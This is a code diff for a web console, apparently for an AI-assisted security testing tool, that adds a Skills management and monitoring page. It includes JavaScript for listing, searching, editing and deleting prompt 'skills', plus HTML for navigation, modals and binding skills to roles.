if (!pageSizeSelect) return;
|
||||
|
||||
const newPageSize = parseInt(pageSizeSelect.value);
|
||||
if (isNaN(newPageSize) || newPageSize <= 0) return;
|
||||
|
||||
// 保存到localStorage
|
||||
try {
|
||||
localStorage.setItem('skillsPageSize', newPageSize.toString());
|
||||
} catch (e) {
|
||||
console.warn('无法保存分页设置到localStorage:', e);
|
||||
}
|
||||
|
||||
// 更新分页状态
|
||||
skillsPagination.pageSize = newPageSize;
|
||||
|
||||
// 重新计算当前页(确保不超出范围)
|
||||
const totalPages = Math.ceil(skillsPagination.total / newPageSize);
|
||||
const currentPage = Math.min(skillsPagination.currentPage, totalPages || 1);
|
||||
skillsPagination.currentPage = currentPage;
|
||||
|
||||
// 重新加载数据
|
||||
await loadSkills(currentPage, newPageSize);
|
||||
}
|
||||
|
||||
// 更新skills管理统计信息
|
||||
function updateSkillsManagementStats() {
|
||||
const statsEl = document.getElementById('skills-management-stats');
|
||||
if (!statsEl) return;
|
||||
|
||||
const totalEl = statsEl.querySelector('.skill-stat-value');
|
||||
if (totalEl) {
|
||||
totalEl.textContent = skillsPagination.total;
|
||||
}
|
||||
}
|
||||
|
||||
// 搜索skills
|
||||
function handleSkillsSearchInput() {
|
||||
clearTimeout(skillsSearchTimeout);
|
||||
skillsSearchTimeout = setTimeout(() => {
|
||||
searchSkills();
|
||||
}, 300);
|
||||
}
|
||||
|
||||
async function searchSkills() {
|
||||
const searchInput = document.getElementById('skills-search');
|
||||
if (!searchInput) return;
|
||||
|
||||
skillsSearchKeyword = searchInput.value.trim();
|
||||
|
||||
if (skillsSearchKeyword) {
|
||||
// 有搜索关键词时,使用后端搜索API(加载所有匹配结果,不分页)
|
||||
try {
|
||||
const response = await apiFetch(`/api/skills?search=${encodeURIComponent(skillsSearchKeyword)}&limit=10000&offset=0`);
|
||||
if (!response.ok) {
|
||||
throw new Error('获取skills列表失败');
|
||||
}
|
||||
const data = await response.json();
|
||||
skillsList = data.skills || [];
|
||||
skillsPagination.total = data.total || 0;
|
||||
renderSkillsList();
|
||||
// 搜索时隐藏分页
|
||||
const paginationContainer = document.getElementById('skills-pagination');
|
||||
if (paginationContainer) {
|
||||
paginationContainer.innerHTML = '';
|
||||
}
|
||||
// 更新统计信息(显示搜索结果数量)
|
||||
updateSkillsManagementStats();
|
||||
} catch (error) {
|
||||
console.error('搜索skills失败:', error);
|
||||
showNotification('搜索失败: ' + error.message, 'error');
|
||||
}
|
||||
} else {
|
||||
// 没有搜索关键词时,恢复分页加载
|
||||
await loadSkills(1, skillsPagination.pageSize);
|
||||
}
|
||||
}
|
||||
|
||||
// 刷新skills
|
||||
async function refreshSkills() {
|
||||
await loadSkills(skillsPagination.currentPage, skillsPagination.pageSize);
|
||||
showNotification('已刷新', 'success');
|
||||
}
|
||||
|
||||
// 显示添加skill模态框
|
||||
function showAddSkillModal() {
|
||||
const modal = document.getElementById('skill-modal');
|
||||
if (!modal) return;
|
||||
|
||||
document.getElementById('skill-modal-title').textContent = '添加Skill';
|
||||
document.getElementById('skill-name').value = '';
|
||||
document.getElementById('skill-name').disabled = false;
|
||||
document.getElementById('skill-description').value = '';
|
||||
document.getElementById('skill-content').value = '';
|
||||
|
||||
modal.style.display = 'flex';
|
||||
}
|
||||
|
||||
// 编辑skill
|
||||
async function editSkill(skillName) {
|
||||
try {
|
||||
const response = await apiFetch(`/api/skills/${encodeURIComponent(skillName)}`);
|
||||
if (!response.ok) {
|
||||
throw new Error('获取skill详情失败');
|
||||
}
|
||||
const data = await response.json();
|
||||
const skill = data.skill;
|
||||
|
||||
const modal = document.getElementById('skill-modal');
|
||||
if (!modal) return;
|
||||
|
||||
document.getElementById('skill-modal-title').textContent = '编辑Skill';
|
||||
document.getElementById('skill-name').value = skill.name;
|
||||
document.getElementById('skill-name').disabled = true; // 编辑时不允许修改名称
|
||||
document.getElementById('skill-description').value = skill.description || '';
|
||||
document.getElementById('skill-content').value = skill.content || '';
|
||||
|
||||
currentEditingSkillName = skillName;
|
||||
modal.style.display = 'flex';
|
||||
} catch (error) {
|
||||
console.error('加载skill详情失败:', error);
|
||||
showNotification('加载skill详情失败: ' + error.message, 'error');
|
||||
}
|
||||
}
|
||||
|
||||
// 查看skill
|
||||
async function viewSkill(skillName) {
|
||||
try {
|
||||
const response = await apiFetch(`/api/skills/${encodeURIComponent(skillName)}`);
|
||||
if (!response.ok) {
|
||||
throw new Error('获取skill详情失败');
|
||||
}
|
||||
const data = await response.json();
|
||||
const skill = data.skill;
|
||||
|
||||
// 创建查看模态框
|
||||
const modal = document.createElement('div');
|
||||
modal.className = 'modal';
|
||||
modal.id = 'skill-view-modal';
|
||||
modal.innerHTML = `
|
||||
<div class="modal-content" style="max-width: 900px; max-height: 90vh;">
|
||||
<div class="modal-header">
|
||||
<h2>查看Skill: ${escapeHtml(skill.name)}</h2>
|
||||
<span class="modal-close" onclick="closeSkillViewModal()">×</span>
|
||||
</div>
|
||||
<div class="modal-body" style="overflow-y: auto; max-height: calc(90vh - 120px);">
|
||||
${skill.description ? `<div style="margin-bottom: 16px;"><strong>描述:</strong> ${escapeHtml(skill.description)}</div>` : ''}
|
||||
<div style="margin-bottom: 8px;"><strong>路径:</strong> ${escapeHtml(skill.path || '')}</div>
|
||||
<div style="margin-bottom: 16px;"><strong>修改时间:</strong> ${escapeHtml(skill.mod_time || '')}</div>
|
||||
<div style="margin-bottom: 8px;"><strong>内容:</strong></div>
|
||||
<pre style="background: #f5f5f5; padding: 16px; border-radius: 4px; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;">${escapeHtml(skill.content || '')}</pre>
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button class="btn-secondary" onclick="closeSkillViewModal()">关闭</button>
|
||||
<button class="btn-primary" onclick="editSkill('${escapeHtml(skill.name)}'); closeSkillViewModal();">编辑</button>
|
||||
</div>
|
||||
</div>
|
||||
`;
|
||||
document.body.appendChild(modal);
|
||||
modal.style.display = 'flex';
|
||||
} catch (error) {
|
||||
console.error('查看skill失败:', error);
|
||||
showNotification('查看skill失败: ' + error.message, 'error');
|
||||
}
|
||||
}
|
||||
|
||||
// 关闭查看模态框
|
||||
function closeSkillViewModal() {
|
||||
const modal = document.getElementById('skill-view-modal');
|
||||
if (modal) {
|
||||
modal.remove();
|
||||
}
|
||||
}
|
||||
|
||||
// 关闭skill模态框
|
||||
function closeSkillModal() {
|
||||
const modal = document.getElementById('skill-modal');
|
||||
if (modal) {
|
||||
modal.style.display = 'none';
|
||||
currentEditingSkillName = null;
|
||||
}
|
||||
}
|
||||
|
||||
// 保存skill
|
||||
async function saveSkill() {
|
||||
if (isSavingSkill) return;
|
||||
|
||||
const name = document.getElementById('skill-name').value.trim();
|
||||
const description = document.getElementById('skill-description').value.trim();
|
||||
const content = document.getElementById('skill-content').value.trim();
|
||||
|
||||
if (!name) {
|
||||
showNotification('skill名称不能为空', 'error');
|
||||
return;
|
||||
}
|
||||
|
||||
if (!content) {
|
||||
showNotification('skill内容不能为空', 'error');
|
||||
return;
|
||||
}
|
||||
|
||||
// 验证skill名称
|
||||
if (!/^[a-zA-Z0-9_-]+$/.test(name)) {
|
||||
showNotification('skill名称只能包含字母、数字、连字符和下划线', 'error');
|
||||
return;
|
||||
}
|
||||
|
||||
isSavingSkill = true;
|
||||
const saveBtn = document.querySelector('#skill-modal .btn-primary');
|
||||
if (saveBtn) {
|
||||
saveBtn.disabled = true;
|
||||
saveBtn.textContent = '保存中...';
|
||||
}
|
||||
|
||||
try {
|
||||
const isEdit = !!currentEditingSkillName;
|
||||
const url = isEdit ? `/api/skills/${encodeURIComponent(currentEditingSkillName)}` : '/api/skills';
|
||||
const method = isEdit ? 'PUT' : 'POST';
|
||||
|
||||
const response = await apiFetch(url, {
|
||||
method: method,
|
||||
headers: {
|
||||
'Content-Type': 'application/json'
|
||||
},
|
||||
body: JSON.stringify({
|
||||
name: name,
|
||||
description: description,
|
||||
content: content
|
||||
})
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
const error = await response.json();
|
||||
throw new Error(error.error || '保存skill失败');
|
||||
}
|
||||
|
||||
showNotification(isEdit ? 'skill已更新' : 'skill已创建', 'success');
|
||||
closeSkillModal();
|
||||
await loadSkills(skillsPagination.currentPage, skillsPagination.pageSize);
|
||||
} catch (error) {
|
||||
console.error('保存skill失败:', error);
|
||||
showNotification('保存skill失败: ' + error.message, 'error');
|
||||
} finally {
|
||||
isSavingSkill = false;
|
||||
if (saveBtn) {
|
||||
saveBtn.disabled = false;
|
||||
saveBtn.textContent = '保存';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 删除skill
|
||||
async function deleteSkill(skillName) {
|
||||
// 先检查是否有角色绑定了该skill
|
||||
let boundRoles = [];
|
||||
try {
|
||||
const checkResponse = await apiFetch(`/api/skills/${encodeURIComponent(skillName)}/bound-roles`);
|
||||
if (checkResponse.ok) {
|
||||
const checkData = await checkResponse.json();
|
||||
boundRoles = checkData.bound_roles || [];
|
||||
}
|
||||
} catch (error) {
|
||||
console.warn('检查skill绑定失败:', error);
|
||||
// 如果检查失败,继续执行删除流程
|
||||
}
|
||||
|
||||
// 构建确认消息
|
||||
let confirmMessage = `确定要删除skill "${skillName}" 吗?此操作不可恢复。`;
|
||||
if (boundRoles.length > 0) {
|
||||
const rolesList = boundRoles.join('、');
|
||||
confirmMessage = `确定要删除skill "${skillName}" 吗?\n\n⚠️ 该skill当前已被以下 ${boundRoles.length} 个角色绑定:\n${rolesList}\n\n删除后,系统将自动从这些角色中移除该skill的绑定。\n\n此操作不可恢复,是否继续?`;
|
||||
}
|
||||
|
||||
if (!confirm(confirmMessage)) {
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
const response = await apiFetch(`/api/skills/${encodeURIComponent(skillName)}`, {
|
||||
method: 'DELETE'
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
const error = await response.json();
|
||||
throw new Error(error.error || '删除skill失败');
|
||||
}
|
||||
|
||||
const data = await response.json();
|
||||
let successMessage = 'skill已删除';
|
||||
if (data.affected_roles && data.affected_roles.length > 0) {
|
||||
const rolesList = data.affected_roles.join('、');
|
||||
successMessage = `skill已删除,已自动从 ${data.affected_roles.length} 个角色中移除绑定:${rolesList}`;
|
||||
}
|
||||
showNotification(successMessage, 'success');
|
||||
|
||||
// 如果当前页没有数据了,回到上一页
|
||||
const currentPage = skillsPagination.currentPage;
|
||||
const totalAfterDelete = skillsPagination.total - 1;
|
||||
const totalPages = Math.ceil(totalAfterDelete / skillsPagination.pageSize);
|
||||
const pageToLoad = currentPage > totalPages && totalPages > 0 ? totalPages : currentPage;
|
||||
await loadSkills(pageToLoad, skillsPagination.pageSize);
|
||||
} catch (error) {
|
||||
console.error('删除skill失败:', error);
|
||||
showNotification('删除skill失败: ' + error.message, 'error');
|
||||
}
|
||||
}
|
||||
|
||||
// ==================== Skills状态监控相关函数 ====================
|
||||
|
||||
// 加载skills监控数据
|
||||
async function loadSkillsMonitor() {
|
||||
try {
|
||||
const response = await apiFetch('/api/skills/stats');
|
||||
if (!response.ok) {
|
||||
throw new Error('获取skills统计信息失败');
|
||||
}
|
||||
const data = await response.json();
|
||||
|
||||
skillsStats = {
|
||||
total: data.total_skills || 0,
|
||||
totalCalls: data.total_calls || 0,
|
||||
totalSuccess: data.total_success || 0,
|
||||
totalFailed: data.total_failed || 0,
|
||||
skillsDir: data.skills_dir || '',
|
||||
stats: data.stats || []
|
||||
};
|
||||
|
||||
renderSkillsMonitor();
|
||||
} catch (error) {
|
||||
console.error('加载skills监控数据失败:', error);
|
||||
showNotification('加载skills监控数据失败: ' + error.message, 'error');
|
||||
const statsEl = document.getElementById('skills-stats');
|
||||
if (statsEl) {
|
||||
statsEl.innerHTML = '<div class="monitor-error">无法加载统计信息:' + escapeHtml(error.message) + '</div>';
|
||||
}
|
||||
const monitorListEl = document.getElementById('skills-monitor-list');
|
||||
if (monitorListEl) {
|
||||
monitorListEl.innerHTML = '<div class="monitor-error">无法加载调用统计:' + escapeHtml(error.message) + '</div>';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 渲染skills监控页面
|
||||
function renderSkillsMonitor() {
|
||||
// 渲染总体统计
|
||||
const statsEl = document.getElementById('skills-stats');
|
||||
if (statsEl) {
|
||||
const successRate = skillsStats.totalCalls > 0
|
||||
? ((skillsStats.totalSuccess / skillsStats.totalCalls) * 100).toFixed(1)
|
||||
: '0.0';
|
||||
|
||||
statsEl.innerHTML = `
|
||||
<div class="monitor-stat-card">
|
||||
<div class="monitor-stat-label">总Skills数</div>
|
||||
<div class="monitor-stat-value">${skillsStats.total}</div>
|
||||
</div>
|
||||
<div class="monitor-stat-card">
|
||||
<div class="monitor-stat-label">总调用次数</div>
|
||||
<div class="monitor-stat-value">${skillsStats.totalCalls}</div>
|
||||
</div>
|
||||
<div class="monitor-stat-card">
|
||||
<div class="monitor-stat-label">成功调用</div>
|
||||
<div class="monitor-stat-value" style="color: #28a745;">${skillsStats.totalSuccess}</div>
|
||||
</div>
|
||||
<div class="monitor-stat-card">
|
||||
<div class="monitor-stat-label">失败调用</div>
|
||||
<div class="monitor-stat-value" style="color: #dc3545;">${skillsStats.totalFailed}</div>
|
||||
</div>
|
||||
<div class="monitor-stat-card">
|
||||
<div class="monitor-stat-label">成功率</div>
|
||||
<div class="monitor-stat-value">${successRate}%</div>
|
||||
</div>
|
||||
<div class="monitor-stat-card">
|
||||
<div class="monitor-stat-label">Skills目录</div>
|
||||
<div class="monitor-stat-value" style="font-size: 0.875rem;">${escapeHtml(skillsStats.skillsDir || '-')}</div>
|
||||
</div>
|
||||
`;
|
||||
}
|
||||
|
||||
// 渲染调用统计表格
|
||||
const monitorListEl = document.getElementById('skills-monitor-list');
|
||||
if (!monitorListEl) return;
|
||||
|
||||
const stats = skillsStats.stats || [];
|
||||
|
||||
// 如果没有统计数据,显示空状态
|
||||
if (stats.length === 0) {
|
||||
monitorListEl.innerHTML = '<div class="monitor-empty">暂无Skills调用记录</div>';
|
||||
return;
|
||||
}
|
||||
|
||||
// 按调用次数排序(降序),如果调用次数相同,按名称排序
|
||||
const sortedStats = [...stats].sort((a, b) => {
|
||||
const callsA = b.total_calls || 0;
|
||||
const callsB = a.total_calls || 0;
|
||||
if (callsA !== callsB) {
|
||||
return callsA - callsB;
|
||||
}
|
||||
return (a.skill_name || '').localeCompare(b.skill_name || '');
|
||||
});
|
||||
|
||||
monitorListEl.innerHTML = `
|
||||
<table class="monitor-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th style="text-align: left !important;">Skill名称</th>
|
||||
<th style="text-align: center;">总调用</th>
|
||||
<th style="text-align: center;">成功</th>
|
||||
<th style="text-align: center;">失败</th>
|
||||
<th style="text-align: center;">成功率</th>
|
||||
<th style="text-align: left;">最后调用时间</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
${sortedStats.map(stat => {
|
||||
const totalCalls = stat.total_calls || 0;
|
||||
const successCalls = stat.success_calls || 0;
|
||||
const failedCalls = stat.failed_calls || 0;
|
||||
const successRate = totalCalls > 0 ? ((successCalls / totalCalls) * 100).toFixed(1) : '0.0';
|
||||
const lastCallTime = stat.last_call_time && stat.last_call_time !== '-' ? stat.last_call_time : '-';
|
||||
|
||||
return `
|
||||
<tr>
|
||||
<td style="text-align: left !important;"><strong>${escapeHtml(stat.skill_name || '')}</strong></td>
|
||||
<td style="text-align: center;">${totalCalls}</td>
|
||||
<td style="text-align: center; color: #28a745; font-weight: 500;">${successCalls}</td>
|
||||
<td style="text-align: center; color: #dc3545; font-weight: 500;">${failedCalls}</td>
|
||||
<td style="text-align: center;">${successRate}%</td>
|
||||
<td style="color: var(--text-secondary);">${escapeHtml(lastCallTime)}</td>
|
||||
</tr>
|
||||
`;
|
||||
}).join('')}
|
||||
</tbody>
|
||||
</table>
|
||||
`;
|
||||
}
|
||||
|
||||
// 刷新skills监控
|
||||
async function refreshSkillsMonitor() {
|
||||
await loadSkillsMonitor();
|
||||
showNotification('已刷新', 'success');
|
||||
}
|
||||
|
||||
// 清空skills统计数据
|
||||
async function clearSkillsStats() {
|
||||
if (!confirm('确定要清空所有Skills统计数据吗?此操作不可恢复。')) {
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
const response = await apiFetch('/api/skills/stats', {
|
||||
method: 'DELETE'
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
const error = await response.json();
|
||||
throw new Error(error.error || '清空统计数据失败');
|
||||
}
|
||||
|
||||
showNotification('已清空所有Skills统计数据', 'success');
|
||||
// 重新加载统计数据
|
||||
await loadSkillsMonitor();
|
||||
} catch (error) {
|
||||
console.error('清空统计数据失败:', error);
|
||||
showNotification('清空统计数据失败: ' + error.message, 'error');
|
||||
}
|
||||
}
|
||||
|
||||
// HTML转义函数
|
||||
function escapeHtml(text) {
|
||||
if (!text) return '';
|
||||
const div = document.createElement('div');
|
||||
div.textContent = text;
|
||||
return div.innerHTML;
|
||||
}
|
||||
@@ -133,6 +133,29 @@
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="nav-item nav-item-has-submenu" data-page="skills">
|
||||
<div class="nav-item-content" data-title="Skills" onclick="toggleSubmenu('skills')">
|
||||
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
|
||||
<path d="M14.5 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V7.5L14.5 2z"></path>
|
||||
<polyline points="14 2 14 8 20 8"></polyline>
|
||||
<line x1="16" y1="13" x2="8" y2="13"></line>
|
||||
<line x1="16" y1="17" x2="8" y2="17"></line>
|
||||
<polyline points="10 9 9 9 8 9"></polyline>
|
||||
</svg>
|
||||
<span>Skills</span>
|
||||
<svg class="submenu-arrow" width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M9 18l6-6-6-6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
|
||||
</svg>
|
||||
</div>
|
||||
<div class="nav-submenu">
|
||||
<div class="nav-submenu-item" data-page="skills-monitor" onclick="switchPage('skills-monitor')">
|
||||
<span>Skills状态监控</span>
|
||||
</div>
|
||||
<div class="nav-submenu-item" data-page="skills-management" onclick="switchPage('skills-management')">
|
||||
<span>Skills管理</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="nav-item nav-item-has-submenu" data-page="roles">
|
||||
<div class="nav-item-content" data-title="角色" onclick="toggleSubmenu('roles')">
|
||||
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
|
||||
@@ -675,6 +698,68 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Skills状态监控页面 -->
|
||||
<div id="page-skills-monitor" class="page">
|
||||
<div class="page-header">
|
||||
<h2>Skills状态监控</h2>
|
||||
<div class="page-header-actions">
|
||||
<button class="btn-secondary" onclick="refreshSkillsMonitor()">刷新</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="page-content">
|
||||
<div class="monitor-sections">
|
||||
<section class="monitor-section monitor-overview">
|
||||
<div class="section-header">
|
||||
<h3>调用统计</h3>
|
||||
</div>
|
||||
<div id="skills-stats" class="monitor-stats-grid">
|
||||
<div class="monitor-empty">加载中...</div>
|
||||
</div>
|
||||
</section>
|
||||
<section class="monitor-section monitor-executions">
|
||||
<div class="section-header">
|
||||
<h3>Skills调用统计</h3>
|
||||
<div class="section-actions">
|
||||
<button class="btn-secondary btn-small" onclick="clearSkillsStats()" title="清空所有统计数据">清空统计</button>
|
||||
</div>
|
||||
</div>
|
||||
<div id="skills-monitor-list" class="monitor-table-container">
|
||||
<div class="monitor-empty">加载中...</div>
|
||||
</div>
|
||||
</section>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Skills管理页面 -->
|
||||
<div id="page-skills-management" class="page">
|
||||
<div class="page-header">
|
||||
<h2>Skills管理</h2>
|
||||
<div class="page-header-actions">
|
||||
<button class="btn-secondary" onclick="refreshSkills()">刷新</button>
|
||||
<button class="btn-primary" onclick="showAddSkillModal()">添加Skill</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="page-content page-content-with-pagination">
|
||||
<div class="skills-controls">
|
||||
<div class="skills-stats-bar" id="skills-management-stats">
|
||||
<div class="skill-stat-item">
|
||||
<span class="skill-stat-label">总Skills数</span>
|
||||
<span class="skill-stat-value">-</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="skills-filters">
|
||||
<input type="text" id="skills-search" placeholder="搜索skill..." oninput="handleSkillsSearchInput()" onkeydown="if(event.key==='Enter') searchSkills()" />
|
||||
<button class="btn-search" onclick="searchSkills()" title="搜索">🔍</button>
|
||||
</div>
|
||||
</div>
|
||||
<div id="skills-list" class="skills-list skills-list-with-pagination">
|
||||
<div class="loading-spinner">加载中...</div>
|
||||
</div>
|
||||
<div id="skills-pagination" class="pagination-container pagination-fixed"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- 系统设置页面 -->
|
||||
<div id="page-settings" class="page">
|
||||
<div class="page-header">
|
||||
@@ -1084,6 +1169,43 @@
|
||||
}
|
||||
</script>
|
||||
<!-- 知识项编辑模态框 -->
|
||||
<!-- Skill模态框 -->
|
||||
<div id="skill-modal" class="modal">
|
||||
<div class="modal-content" style="max-width: 900px;">
|
||||
<div class="modal-header">
|
||||
<h2 id="skill-modal-title">添加Skill</h2>
|
||||
<span class="modal-close" onclick="closeSkillModal()">×</span>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<div class="form-group">
|
||||
<label for="skill-name">Skill名称 <span style="color: red;">*</span></label>
|
||||
<input type="text" id="skill-name" placeholder="例如: sql-injection-testing" required />
|
||||
<small class="form-hint">只能包含字母、数字、连字符和下划线</small>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="skill-description">描述</label>
|
||||
<input type="text" id="skill-description" placeholder="Skill的简短描述" />
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="skill-content">内容(Markdown格式) <span style="color: red;">*</span></label>
|
||||
<textarea id="skill-content" rows="20" placeholder="输入skill内容,支持Markdown格式..." style="font-family: 'Monaco', 'Menlo', 'Ubuntu Mono', monospace; font-size: 0.875rem; line-height: 1.5;" required></textarea>
|
||||
<small class="form-hint">支持YAML front matter格式(可选),例如:<br>
|
||||
---<br>
|
||||
name: skill-name<br>
|
||||
description: Skill描述<br>
|
||||
version: 1.0.0<br>
|
||||
---<br><br>
|
||||
# Skill标题<br>
|
||||
这里是skill内容...</small>
|
||||
</div>
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button class="btn-secondary" onclick="closeSkillModal()">取消</button>
|
||||
<button class="btn-primary" onclick="saveSkill()">保存</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="knowledge-item-modal" class="modal">
|
||||
<div class="modal-content" style="max-width: 900px;">
|
||||
<div class="modal-header">
|
||||
@@ -1492,6 +1614,32 @@
|
||||
</div>
|
||||
<small class="form-hint">勾选要关联的工具,留空则使用MCP管理中的全部工具配置。</small>
|
||||
</div>
|
||||
<div class="form-group" id="role-skills-section">
|
||||
<label>关联的Skills(可选)</label>
|
||||
<div class="role-skills-controls">
|
||||
<div class="role-skills-actions">
|
||||
<button type="button" class="btn-secondary" onclick="selectAllRoleSkills()">全选</button>
|
||||
<button type="button" class="btn-secondary" onclick="deselectAllRoleSkills()">全不选</button>
|
||||
<div class="role-skills-search-box">
|
||||
<input type="text" id="role-skills-search" placeholder="搜索skill..."
|
||||
oninput="searchRoleSkills(this.value)"
|
||||
onkeypress="if(event.key === 'Enter') searchRoleSkills(this.value)" />
|
||||
<button class="role-skills-search-clear" id="role-skills-search-clear"
|
||||
onclick="clearRoleSkillsSearch()" style="display: none;" title="清除搜索">
|
||||
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<circle cx="12" cy="12" r="10" stroke="currentColor" stroke-width="2"/>
|
||||
<path d="M15 9l-6 6M9 9l6 6" stroke="currentColor" stroke-width="2" stroke-linecap="round"/>
|
||||
</svg>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
<div id="role-skills-stats" class="role-skills-stats"></div>
|
||||
</div>
|
||||
<div id="role-skills-list" class="role-skills-list">
|
||||
<div class="skills-loading">正在加载skills列表...</div>
|
||||
</div>
|
||||
<small class="form-hint">勾选要关联的skills,这些skills的内容会在执行任务前注入到系统提示词中,帮助AI更好地理解相关专业知识。</small>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label class="checkbox-label">
|
||||
<input type="checkbox" id="role-enabled" class="modern-checkbox" checked />
|
||||
@@ -1514,6 +1662,7 @@
|
||||
<script src="/static/js/chat.js"></script>
|
||||
<script src="/static/js/settings.js"></script>
|
||||
<script src="/static/js/knowledge.js"></script>
|
||||
<script src="/static/js/skills.js"></script>
|
||||
<script src="/static/js/vulnerability.js?v=4"></script>
|
||||
<script src="/static/js/tasks.js"></script>
|
||||
<script src="/static/js/roles.js"></script>
|
||||
|
||||
Reference in New Issue
Block a user